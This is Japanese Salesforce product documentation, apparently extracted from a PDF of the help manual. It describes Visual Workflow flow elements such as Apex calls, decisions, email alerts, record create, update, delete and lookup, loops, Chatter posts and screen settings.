使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Apex クラスの呼び出し可能なメソッドをコールします。

重要: この要素を使用してフローから Apex クラスをコールするには、クラ
スのいずれかのメソッドに @InvocableMethod アノテーションを付加す
るよう開発者に依頼します。詳細は、『Force.comApexコード開発者ガイド』
の「InvocableMethod アノテーション」を参照してください。

入力
フローの情報を呼び出された Apex メソッドに渡します。このメソッドによって
使用可能な入力パラメータとそのデータ型が決まります。

出力
呼び出された Apex メソッドの情報をフローに渡します。このメソッドによって使用可能な出力パラメータと
そのデータ型が決まります。
メソッドが実行されるときに、フローによって値が指定された変数に割り当てられます。

使用方法
メモ: 呼び出されたメソッドがレコードを作成、更新、または削除する場合、インタビューのトランザク
ションが完了するまで、アクションは実行されません。トランザクションは、インタビューが終了した
とき、画面要素を実行したとき、待機要素を実行したときのいずれかの時点で完了します。

関連トピック:

フローからの Apex コードの呼び出し
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照

5743

Visual Workflowコードではなくてクリックによる Salesforce の拡張



フローの決定要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一連の条件を評価し、これらの条件の結果に基づいてユーザが辿るフローの経
路を指定します。この要素は、if-then ステートメントと同等に機能します。

結果
決定の結果を作成します。他の結果の条件に一致しない場合にフローで辿るパ
スの名前を変更するには、[Default Outcome]をクリックします。条件を設定しま
す。

説明項目

キャンバス上のこの結果のコネクタを特定します。名前

一意性の要件は、現在のフロー内の要素のみに適用されます。
異なるフローで使用されている場合、同じ一意の名前を持つ 2

一意の名前

つの要素を使用できます。一意の名前には、アンダースコアと
英数字を使用できます。最初は文字であること、空白は使用し
ない、最後にアンダースコアを使用しない、2 つ続けてアンダー
スコアを使用しないという制約があります。

フローがこの結果のパスを辿るかどうかを決定します。条件

例: 決定要素を使用して次の条件を判断します。
• 返品先住所をお客様に提供するか (アイテムに確実に欠陥があるため)、問題をお客様自身で解決する

方法を提供するか
• (信用度数式の結果に基づいて) お客様に融資するかどうか

ヒント: 画面のドロップダウンリストでユーザが選択したオプションに基づいて異なる操作を行うよ
うにフローを設定します。これを行うには、画面要素の後に決定要素を追加し、ドロップダウンリ
ストで使用できる選択肢に基づくフローの分岐を作成します。これで、決定要素で各選択肢を表し、
それをフローの分岐に接続できるようになります。

関連トピック:

フロー要素
フロー条件の定義
フロー条件の演算子
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照
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フローのメールアラート要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフローメールアラートを使用してメールテンプレートおよび受信者を指
定し、メールを送信します。フローはレコード ID のみを指定します。
作業を開始する前に
• フローからコールするメールアラートが存在していることを確認します。存

在していない場合は、メールアラートを作成 (ページ 5952)します。
• メールアラートから送信されるメールの毎日の制限を把握します。
• 高速検索要素などを使用してこのメールで参照するレコードの ID を保存しま

す。メールアラートにすでに差し込み項目がある場合、参照されるレコード
はそれらの項目の開始点となります。

各メールアラートの一意の名前には、そのオブジェクトのプレフィックスが付
きます。参照されるレコードのオブジェクト種別は、メールアラートのオブジェ
クト種別と一致している必要があります。たとえば、「Owner_Changed」という一意の名前を持つ、取引先の
メールアラートがある場合、そのメールアラートは Account.Owner_Changed としてパレットに表示されま
す。このメールアラートは、取引先オブジェクトに関連付けられているため、取引先レコードのみを参照でき
ます。

説明項目

メールで参照するレコードの ID を含む変数を選択します。メールアラートで差し込み項
目が使用されている場合、このレコードはそれらの差し込み項目の開始点となります。
この項目では、任意の型の単一値変数を使用できます。値はテキストとして処理されま
す。

レコード ID

使用方法
メモ: 実行時、インタビューのトランザクションが完了するまで、メールは送信されません。トランザク
ションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行したときのいずれ
かの時点で完了します。

関連トピック:

フローからのメールの送信
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照
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フローの高速作成要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

sObject コレクション変数から項目値を使用して、複数の Salesforce レコードを作
成します。または、sObject 変数から項目値を使用して、1 つのSalesforceレコード
を作成します。
通常の変数およびその他のフローリソース (定数、数式、画面項目など) からの
項目値で 1 つのレコードを作成する場合は、レコード作成を使用します。

説明項目

レコードの作成に使用する sObject 変数またはコレクション。
オブジェクト種別は一致する必要があります。また、各 ID 項
目に値が設定されていてはいけません。
この項目では、任意の sObject 変数または sObject コレクショ
ン変数を使用できます。

変数

例: 新しいケースのコレクションがある場合、高速作成要素を使用してコレクションのケースごとにレ
コードを作成します。高速作成要素を実行する前に、必ずフローで sObject 変数またはコレクションにす
べての必須項目値を入力してください。

使用方法
sObject 変数を使用して 1 つのレコードを作成した場合、sObject 変数の ID 項目が新しいレコードの ID 値で更新
されます。sObject コレクションを使用して複数のレコードを作成した場合、各コレクション項目の ID 項目が
対応する新しいレコード ID 値で更新されます。

メモ: 実行時、インタビューのトランザクションが完了するまで、レコードは作成されません。トランザ
クションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行したときのいず
れかの時点で完了します。

関連トピック:

フローからの Salesforce レコードの作成
高速作成要素によるレコードのコピー
フロー要素
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローの sObject 変数リソース
フローの sObject コレクション変数リソース
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フローの高速削除要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

sObject コレクション変数に保存されている ID 値を使用して、複数の Salesforce レ
コードを削除します。または、sObject 変数に保存されている ID 値を使用して、
1 つの Salesforce レコードを削除します。

ヒント: 高速削除要素を使用する前に、sObject 変数またはコレクションに
ID 値が入力されていることを確認してください。

説明項目

レコードの削除に使用する sObject 変数またはコレクションを特
定します。削除するレコードの ID を変数に含める必要がありま
す。
この項目では、任意の sObject 変数または sObject コレクション
変数を使用できます。

変数

使用方法
警告:

• 削除要素が含まれるフローをテストする場合は注意が必要です。無効なフローでも、削除操作がトリ
ガされます。

• レコードを誤って削除しないように、できるだけ具体的に検索条件を指定してください。
• レコードは、フローが削除要素を実行するとすぐに組織から削除されます。
• 削除されたレコードはごみ箱に送信され、15 日間保存された後、完全に削除されます。
• フローにより、未承認のレコードを削除できます。

通常の変数およびその他のフローリソース (定数、数式、画面項目など) で指定された検索条件を満たす 1 つ以
上のレコードを削除するには、レコード削除を使用します。

メモ: 実行時、インタビューのトランザクションが完了するまで、レコードは削除されません。トランザ
クションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行したときのいず
れかの時点で完了します。

関連トピック:

フローからの Salesforce レコードの削除
フロー要素
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローの sObject 変数リソース
フローの sObject コレクション変数リソース
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フローの高速検索要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

複数の Salesforce レコードを検索して、その項目値を sObject コレクション変数に
割り当てます。または、1 つのSalesforceレコードを検索して、その項目値を sObject

変数に割り当てます。

説明項目

レコードを検索するオブジェクトを特定します。検索

フローで検索するレコードのスコープを絞り込みます。データ
ベースからレコードを選択するための検索条件を指定します。

検索条件

ヒント: 検索条件によって、検索が十分に絞り込まれるこ
とを確認します。高速検索要素は、sObject 変数を使用して
結果を保存する場合、絞り込まれた結果の最初のレコード
のみを返します。

[値]は、選択した項目のデータ型と互換性がある必要がありま
す。

レコードが変数に保存される前に、絞り込まれた結果を並び替
えます。この項目を選択する場合は、結果の並び替え基準とな

結果の並び替
え基準:

る項目と並び替え順も選択します。並び替え可能な項目のみを
使用できます。

返された項目値を保存する変数。
この項目では、任意の sObject 変数または sObject コレクション
変数を使用できます。

変数

• 返された最初のレコードの項目値を保存するには、sObject 変
数を使用します。

• 返されたすべてのレコードの項目値を保存するには、sObject

コレクション変数を使用します。

検索条件を満たすレコードがない場合、変数に null を設定しま
す。デフォルトでは、変数の値が変更されません。

レコードが検
出されない場
合、Null を
変数に割り当
てます。

検索条件を満たした場合に変数に保存するレコードの項目を特
定します。選択しなかった項目の値は、変数で null に設定されま
す。

変数に保存す
るレコードの
項目を指定し
ます。
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例:

• 商品タグのバーコードを使用して、商品の名前と説明を検索する。
• 特定の市区郡に居住するすべての顧客を検索する。
• 特定の日の顧客の取引を検索する。

検索条件の定義に関する考慮事項
• 通常、複数の検索条件を定義する場合、検索条件ロジックはデフォルトの AND になります。ただし、複数

の検索条件で同じ項目が選択され、「次の文字列と一致する」演算子が使用されている場合、検索条件は
OR で結合されます。
たとえば、「種別次の文字列に一致する問題」(1)、「種別次の文字列に一致する機能要求」(2)、および
「エスカレーション済み次の文字列に一致する true」(3) のケースかどうかを検索条件でチェックします。
実行時に、これらの検索条件は (1 OR 2) AND 3 のように結合されます。

• 使用可能な検索条件の演算子は、選択した項目のデータ型によって異なります。詳細は、「フローレコー
ド検索条件の演算子」を参照してください。

使用方法
1 つのレコードを取得して、指定された項目値を通常の変数と sObject 変数に保存する場合は、レコードの検索
を使用します。

関連トピック:

Salesforce レコードからフローへの値の取り込み
フロー要素
フローレコード検索条件の演算子
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローの sObject 変数リソース
フローの sObject コレクション変数リソース
フローでのクロスオブジェクト項目の参照
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フローの高速更新要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

sObject コレクション変数から項目値を使用して、複数の Salesforce レコードを更
新します。または、sObject 変数から項目値を使用して、1 つのSalesforceレコード
を更新します。変数にレコードの ID が含まれている場合、その項目値は変数に
保存されている他の値と一致するように更新されます。

説明項目

レコードの更新に使用する sObject 変数またはコレクションを特
定します。
この項目では、任意の sObject 変数または sObject コレクション
変数を使用できます。

変数

例: コールセンター向けのフローを設計しているとします。新しい住所や好きな商品など、電話をかけて
きた人から収集したデータで Salesforce を自動的に更新するには、高速更新要素を使用します。高速更新
要素を使用する前に、フローで sObject 変数またはコレクションを入力します。次に、sObject 変数または
コレクション内の sObject 値に、更新中のレコードの ID が含まれていることを確認します。

使用方法
通常の変数およびその他のフローリソース (定数、数式、画面項目など) からの項目値で 1 つ以上のレコードを
更新する場合は、レコードの更新を使用します。

メモ: 実行時、インタビューのトランザクションが完了するまで、レコードは更新されません。トランザ
クションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行したときのいず
れかの時点で完了します。

関連トピック:

フローからの Salesforce レコードの更新
フロー要素
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローの sObject 変数リソース
フローの sObject コレクション変数リソース
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フローのループ要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コレクションを一度に 1 項目ずつ反復処理し、ループ内の他の要素を使用して
各項目の項目値に対してアクションを実行します。
コレクションとは、Salesforce レコードなどから値を入力された項目のリストで
す。ループでは、コレクション内の現在の項目の値を sObject 変数 (ループ変数と
いう) を使用して保存します。ループが 1 つの項目の確認を終了すると、次の項
目の項目値がループ変数にコピーされ、それらの値を確認します。ループ変数
は、コレクションと同じ種別である必要があります。たとえば、コレクション
に取引先の項目値が入力されている場合、ループ変数の種別も取引先である必
要があります。

説明項目

ループ処理するコレクション。
この項目では、任意の sObject 変数または sObject コレクション
変数を使用できます。

ループ対象

[昇順]を選択するとコレクションの先頭から開始して最後まで
進むのに対し、[降順]では最後から開始して先頭に向かって進
みます。

順序

ループの反復中に現在の項目の値を保存するためにフローで使
用する変数。

ループ変数

• [ループ対象] が非 sObject コレクション変数に設定されてい
る場合、この項目では同じデータ型の単一値変数を使用でき
ます。

• [ループ対象] が sObject コレクション変数に設定されている
場合、この項目では同じオブジェクト種別の sObject 変数を使
用できます。

使用方法
ループ要素とループに組み込む要素を追加したら、ループ要素から次のコネクタを追加します。
• [次の要素] コネクタを追加して、新しい項目の値がループ変数にコピーされたときに最初に実行する要素

を決定します。
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• [ループの終了] コネクタを追加して、ループがコレクション内のすべての項目を処理し終えたときに実行
するフロー要素を決定します。

関連トピック:

コレクションをループするサンプルフロー
フローが辿るパスの定義
フロー要素
フローの sObject コレクション変数リソース

フローのレコード作成要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

個別に指定する項目値を使用して、1 つの Salesforce レコードを作成します。

説明項目

レコードを作成するオブジェクト。作成

新しいレコードの項目値を指定します。各値は、選択した項目
のデータ型と互換性がある必要があります。

項目値

重要: すべての必須項目に値が入力されていることを確認
します。値が入力されていない場合は、実行時にフローは
失敗します。どの項目が必須かわからない場合は、オブ
ジェクト定義を確認します。

後でフローで参照できるように、新しいレコードの ID を変数に
割り当てます。
この項目では、テキスト型の単一値変数のみを使用できます。

変数

例: ユーザがフローに名前と住所を入力します。レコード検索要素を使用して、一致するユーザが存在す
るかどうかを確認します。一致する取引先責任者が存在しない場合は、レコード作成要素を使用して、
そのユーザのレコードを作成します。

使用方法
1 つの sObject 変数のすべての項目値で 1 つのレコードを作成する場合、または sObject コレクションのすべての
項目値で複数のレコードを作成する場合は、高速作成を使用します。

5752

Visual Workflowコードではなくてクリックによる Salesforce の拡張



メモ: 実行時、インタビューのトランザクションが完了するまで、レコードは作成されません。トランザ
クションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行したときのいず
れかの時点で完了します。

関連トピック:

フローからの Salesforce レコードの作成
フローレコード検索条件の演算子
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フロー要素

フローのレコード削除要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

指定した条件を満たすすべての Salesforce レコードを削除します。

説明項目

レコードを削除するオブジェクトを特定します。削除

フローで削除するレコードのスコープを絞り込みます。検索条件

検索条件の定義に関する考慮事項
• 通常、複数の検索条件を定義する場合、検索条件ロジックはデフォルトの

AND になります。ただし、複数の検索条件で同じ項目が選択され、「次の文
字列と一致する」演算子が使用されている場合、検索条件は OR で結合され
ます。
たとえば、「種別次の文字列に一致する問題」(1)、「種別次の文字列に一致する機能要求」(2)、および
「エスカレーション済み次の文字列に一致する true」(3) のケースかどうかを検索条件でチェックします。
実行時に、これらの検索条件は (1 OR 2) AND 3 のように結合されます。

• 使用可能な検索条件の演算子は、選択した項目のデータ型によって異なります。詳細は、「フローレコー
ド検索条件の演算子」を参照してください。

使用方法
警告:

• 削除要素が含まれるフローをテストする場合は注意が必要です。無効なフローでも、削除操作がトリ
ガされます。

• レコードを誤って削除しないように、できるだけ具体的に検索条件を指定してください。
• レコードは、フローが削除要素を実行するとすぐに組織から削除されます。
• 削除されたレコードはごみ箱に送信され、15 日間保存された後、完全に削除されます。
• フローにより、未承認のレコードを削除できます。
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1 つの sObject 変数の ID で識別される 1 つのレコードを削除する場合、または sObject コレクションの各 ID で識
別される複数のレコードを削除する場合は、高速削除を使用します。

メモ: 実行時、インタビューのトランザクションが完了するまで、レコードは削除されません。トランザ
クションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行したときのいず
れかの時点で完了します。

関連トピック:

フローからの Salesforce レコードの削除
フローレコード検索条件の演算子
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フロー要素

フローのレコード検索要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

指定した条件を満たす最初のSalesforceレコードを検索します。次に、そのレコー
ドの項目値を個別のフロー変数または sObject 変数の個別の項目に割り当てます。

説明項目

レコードを検索するオブジェクトを特定します。検索

フローで検索するレコードのスコープを絞り込みます。データ
ベースからレコードを選択するための検索条件を指定します。
[値]は、選択した項目のデータ型と互換性がある必要がありま
す。

検索条件

ヒント: 検索条件によって、検索が十分に絞り込まれるこ
とを確認します。レコード検索要素は、絞り込まれた結果
の最初のレコードのみを返します。

レコードが変数に保存される前に、絞り込まれた結果を並び替
えます。この項目を選択する場合は、結果の並び替え基準とな

結果の並び替
え基準:

る項目と並び替え順も選択します。並び替え可能な項目のみを
使用できます。

返されたレコードの項目を選択し、値をフローの変数に割り当
てます。
値は選択された各項目と互換性がある必要があります。

レコードの項
目を変数に割
り当ててフ
ローで参照し
ます。

検索条件を満たすレコードがない場合、変数に null を設定しま
す。デフォルトでは、変数の値が変更されません。

レコードが検
出されない場
合、Null を
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説明項目

変数に割り当てま
す。

例: レコード検索要素は、次のような場合に使用します。
• 商品タグからバーコードを入力する (または読み取る)。コードを使用して、データベースから商品の

名前または説明を見つける。
• 品目の詳細を検索して、在庫があるかどうか確認する。
• 顧客レコードを検索して、電話をかけてきた人の身元を確認する。

検索条件の定義に関する考慮事項
• 通常、複数の検索条件を定義する場合、検索条件ロジックはデフォルトの AND になります。ただし、複数

の検索条件で同じ項目が選択され、「次の文字列と一致する」演算子が使用されている場合、検索条件は
OR で結合されます。
たとえば、「種別次の文字列に一致する問題」(1)、「種別次の文字列に一致する機能要求」(2)、および
「エスカレーション済み次の文字列に一致する true」(3) のケースかどうかを検索条件でチェックします。
実行時に、これらの検索条件は (1 OR 2) AND 3 のように結合されます。

• 使用可能な検索条件の演算子は、選択した項目のデータ型によって異なります。詳細は、「フローレコー
ド検索条件の演算子」を参照してください。

使用方法
次のような検索には、高速検索要素を使用します。
• 1 つのレコードを見つけ、指定された項目の値を 1 つの sObject 変数に保存する
• 複数のレコードを見つけ、指定された項目の値を sObject コレクションに保存する

関連トピック:

Salesforce レコードからフローへの値の取り込み
フローレコード検索条件の演算子
フロー要素
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照
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フローのレコード更新要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

指定した条件を満たすすべての Salesforce レコードを検索し、個別に指定する項
目値を使用して更新します。

説明項目

レコードを更新するオブジェクトを特定します。更新

フローで更新するレコードのスコープを絞り込みます。検索条件

重要: 少なくとも 1 つの検索条件を設定します。設定しな
いと、オブジェクトのすべてのレコードが更新されます。

[値]は、選択した項目のデータ型と互換性がある必要がありま
す。

検索条件を満たすレコードの更新する項目と、新しい値を特定
します。
値は選択された各項目と互換性がある必要があります。

レコードの
項目の更新...

例: 新しい住所や好きな商品など、顧客から収集したデータで Salesforce を自動的に更新します。

検索条件の定義に関する考慮事項
• 通常、複数の検索条件を定義する場合、検索条件ロジックはデフォルトの AND になります。ただし、複数

の検索条件で同じ項目が選択され、「次の文字列と一致する」演算子が使用されている場合、検索条件は
OR で結合されます。
たとえば、「種別次の文字列に一致する問題」(1)、「種別次の文字列に一致する機能要求」(2)、および
「エスカレーション済み次の文字列に一致する true」(3) のケースかどうかを検索条件でチェックします。
実行時に、これらの検索条件は (1 OR 2) AND 3 のように結合されます。

• 使用可能な検索条件の演算子は、選択した項目のデータ型によって異なります。詳細は、「フローレコー
ド検索条件の演算子」を参照してください。

使用方法
次のような更新には、高速更新を使用します。
• 1 つの sObject 変数のすべての項目値で 1 つのレコードを更新する
• sObject コレクションのすべての項目値で複数のレコードを更新する
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メモ: 実行時、インタビューのトランザクションが完了するまで、レコードは更新されません。トランザ
クションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行したときのいず
れかの時点で完了します。

関連トピック:

フローからの Salesforce レコードの更新
フローレコード検索条件の演算子
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フロー要素

フローのクイックアクション要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織ですでに設定されているオブジェクト固有のアクションまたはグローバル
クイックアクションをコールします。[作成]、[更新]、および [活動の記録] アク
ションのみがサポートされています。
オブジェクト固有の各アクションの一意の名前には、関連付けられているオブ
ジェクトのプレフィックスが付きます。各グローバルアクションの一意の名前
には、プレフィックスは付きません。

説明項目

オブジェクト固有のアクションのみ。アクションを実行するレ
コードの ID。
たとえば、特定の取引先に関連付けられているケースをアクショ
ンで作成する場合、その取引先の ID を [関連レコード ID] に割
り当てます。

関連レコード
ID

このパラメータでは、任意の種別の単一値リソースを使用でき
ます。その値はテキストとして処理されます。

アクションごとに異なります。
アクションレイアウトによって必須パラメータが決まります。
必須パラメータはデフォルトで表示され、削除できません。必

入力パラメー
タ

須項目にデフォルト値または定義済みの値がある場合、その項
目はフローのオブジェクト固有のアクションおよびグローバル
アクションでは省略可能です。その項目のデフォルト値または
定義済みの値を後で削除した場合、フローで値を設定していな
いと、実行時にインタビューが失敗します。
値はパラメータと互換性がある必要があります。
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例: 取引先のケースレコードを作成するオブジェクト固有のアクションが組織にある場合、実行時にフ
ローでそのアクションをコールし、入力割り当てを使用してフローからアクションにデータを転送でき
ます。

メモ: 実行時、インタビューのトランザクションが完了するまで、レコードは作成または更新されませ
ん。トランザクションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行し
たときのいずれかの時点で完了します。

関連トピック:

フローからの Salesforce レコードの作成
フローからの Salesforce レコードの更新
フロー要素
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照

フローの Chatter への投稿要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Chatter グループやケースレコードなど指定したフィードにメッセージを投稿し
ます。メッセージにメンションやトピックを含めることはできますが、テキス
ト投稿しかサポートされていません。

入力

説明入力パラ
メータ

投稿先のコミュニティの ID。
Salesforce Communities が有効になっている場合にのみ有効です。
Salesforce.com コミュニティに属するユーザまたはChatterグループ
に投稿する場合には必須です。

コミュニ
ティ ID

このパラメータでは、任意の種別の単一値リソースを使用できま
す。その値はテキストとして処理されます。

投稿するテキスト。メッセージ
• ユーザまたはグループをメンションするには、@[reference]

と入力します。この reference は、メンションするユーザ
またはグループの ID です。参照は、リテラル値、差し込み項
目、フローリソースのいずれかにできます。たとえば、
@[{!UserId}] です。

• トピックを追加するには、#[string] と入力します。この
string は追加するトピックです。たとえば、#[Action

Required] です。
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説明入力パラメータ

このパラメータでは、任意の種別の単一値リソースを使用できます。その値はテキストと
して処理され、10,000 文字までに制限されます。

投稿するユーザ、Chatter グループ、レコードのフィードへの参照。対象名または ID

• ユーザのフィードに投稿するには、ユーザの [ID] または [ユーザ名] を入力します
(例: jsmith@salesforce.com)。

• Chatterグループに投稿するには、グループの [名前] または [ID] を入力します (例: 組
織全体)。

• レコードに投稿するには、レコードの [ID] を入力します (例: 001D000000JWBDx)。
このパラメータでは、任意の種別の単一値リソースを使用できます。その値はテキストと
して処理されます。

[対象名または ID]がユーザ名またはChatterグループ名に設定されている場合にのみ必須
です。
投稿するフィードの種別。有効な値は、次のとおりです。

ターゲット種別

• ユーザ  — [対象名または ID] がユーザの [ユーザ名] に設定されている場合は、この
値を入力します。

• グループ  — [対象名または ID]がChatterグループの [名前]に設定されている場合は、
この値を入力します。

このフィード項目をすべてのユーザが使用できるか、内部ユーザのみが使用できるかを指
定します。
Salesforce Communitiesが有効になっている場合にのみ有効です。有効な値は、次のとおりで
す。

表示

• allUsers

• internalUsers

出力

説明出力パラメータ

作成された投稿の ID をフローのリソースに割り当てます。
このパラメータでは、テキスト型、選択リスト型、選択リスト (複数選択) 型の任意の単
一値変数を使用できます。

フィード項目 ID
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使用方法
メモ: 実行時、インタビューのトランザクションが完了するまで、Chatter投稿は作成されません。トラン
ザクションは、インタビューが終了したとき、画面要素を実行したとき、待機要素を実行したときのい
ずれかの時点で完了します。

関連トピック:

フロー要素
フローが失敗した場合の処理のカスタマイズ
フローが辿るパスの定義
フローでのクロスオブジェクト項目の参照

フローの画面要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローを実行しているユーザに画面を表示します。この画面では、ユーザに情
報を表示したり、ユーザから情報を収集することができます。

フローの画面要素: 一般情報
特定の画面で使用可能なナビゲーションボタン、およびフローユーザがヘル
プテキストを使用できるかどうかを特定します。
フローの画面要素: ユーザ入力項目
ユーザが情報を手動で入力できます。フローのユーザ入力項目とは、画面要
素のテキストボックス、ロングテキストエリア、数値、通貨、日付、日付/時
間、パスワード、チェックボックスなどです。
フローの画面要素: 選択肢項目
ユーザが一連の選択肢の中から選ぶことができます。フローの選択肢項目とは、画面要素のラジオボタン、
ドロップダウンリスト、複数選択チェックボックス、複数選択リストなどです。
フローの画面要素: 表示テキスト項目
フローを実行しているユーザに情報を表示します。

関連トピック:

フロー要素
フローが辿るパスの定義
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フローの画面要素: 一般情報
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

特定の画面で使用可能なナビゲーションボタン、およびフローユーザがヘルプ
テキストを使用できるかどうかを特定します。
ナビゲーションオプション

説明項目

この画面に表示するナビゲーションボタンを決定します。実行
時には、フローパスに先行する画面または後続の画面があるか
どうかに基づいて、どのボタンが関連するかがシステムによっ
て自動的に判別されます。画面に [前へ] または [完了] のいずれ
かのボタンを表示しないように制限するには、ドロップダウン
リストを使用します。

ドロップダ
ウンリスト

• ナビゲーション制限なし — (デフォルト) システムによって関
連するすべての移動ボタンが画面上に表示されます。

• [前へ] ボタンを表示しない — クレジットカード取引など、前
の画面に再アクセスしたときに繰り返してはならないアク
ションがトリガされてしまう場合、このオプションを選択し
ます。

• [完了] ボタンを表示しない — ユーザが前の画面に戻ってフ
ローを続行または完了する必要がある場合は、このオプショ
ンを選択します。
たとえば、フローが既存の取引先責任者を特定するための情
報を入力するようにユーザに促すとします。フローは、その
後データベース内でユーザが入力した情報を検索します。一
致する取引先責任者が見つからない場合、フローにより、
戻って再試行するようにユーザに指示する画面が表示されま
す。その画面で、[[完了] ボタンを表示しない]を選択します。

組織のワークフローおよび承認設定で [フローの一時停止をユー
ザに許可]が有効になっている場合は、この画面のナビゲーショ

[一時停止]

ボタンを表示
ンボタンに [一時停止] ボタンを追加します。ユーザがフローイ
ンタビューを一時停止した場合、そのユーザまたはシステム管
理者のみがそのインタビューを再開できます。

メモ: ユーザは、Lightning Experienceから一時停止したフロー
を再開できないため、Lightning Experience で配布されるフ
ローから [一時停止] ボタンを削除することをお勧めしま
す。

フローユーザがフローを一時停止したときに表示されるメッセー
ジ。

一時停止メッ
セージ
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ヘルプテキスト

説明項目

ユーザが [このフォームのヘルプ] をクリックすると表示される情報。
この項目では、任意の型の単一値リソースを使用できます。その値はテキストとして処
理されます。

テキストボックス

使用方法
ユーザがこのフローのインタビューを一時停止できるようにする場合は、次の操作を実行します。
• インタビュー表示ラベルをカスタマイズする。
• 組織の [プロセスの自動化設定] の [フローの一時停止をユーザに許可] を有効にする。
• 関連ユーザの [ホーム] ページレイアウトに [一時停止中のフローインタビュー] コンポーネントを追加する。

関連トピック:

フローの画面要素
ホームページのページレイアウトの設計

フローの画面要素: ユーザ入力項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザが情報を手動で入力できます。フローのユーザ入力項目とは、画面要素
のテキストボックス、ロングテキストエリア、数値、通貨、日付、日付/時間、
パスワード、チェックボックスなどです。

説明項目

項目の左側に表示されるユーザ向けのテキスト。
表示ラベルの形式を設定するには、 をクリックします。

表示ラベ
ル

一意の名前には、アンダースコアと英数字を使用できます。最初は
文字であること、空白は使用しない、最後にアンダースコアを使用
しない、2 つ続けてアンダースコアを使用しないという制約があり
ます。

一意の名
前

選択した入力項目の種別に基づいて、自動的に入力されます。入力種別

入力項目に事前入力される値。関連付けられた画面が実行されてい
ない場合、入力項目の保存値は常に null です。
デフォルト値のデータ型は、項目のデータ型と互換性がある必要が
あります。たとえば、チェックボックスのデフォルト値は Boolean 型
にする必要があります。

デフォル
ト値

小数点以下の桁数を制御します。18 以上にすることはできません。
この項目を空白にした場合、または 0 に設定した場合は、フローの

スケール
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説明項目

実行時に整数のみが表示されます。[通貨] および [数値] 入力項目でのみ使用できます。

次の画面に進む前に、ユーザに強制的に値を入力させます。必須項目

この項目の入力規則を有効にします。検証

ユーザが許容される値を入力したかどうかを評価する Boolean 数式。数式

ユーザが許容される値を入力しなかった場合に項目の下に表示されます。
この項目では、任意の型の単一値リソースを使用できます。その値はテキストとして処理され
ます。

エラーメッ
セージ

入力項目の横に を追加します。テキストボックスに、この項目に関する役立つ情報を入力
します。
この項目では、任意の型の単一値リソースを使用できます。その値はテキストとして処理され
ます。

ヘルプテキ
スト

関連トピック:

フローの画面要素

フローの画面要素: 選択肢項目
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザが一連の選択肢の中から選ぶことができます。フローの選択肢項目とは、
画面要素のラジオボタン、ドロップダウンリスト、複数選択チェックボックス、
複数選択リストなどです。

説明項目

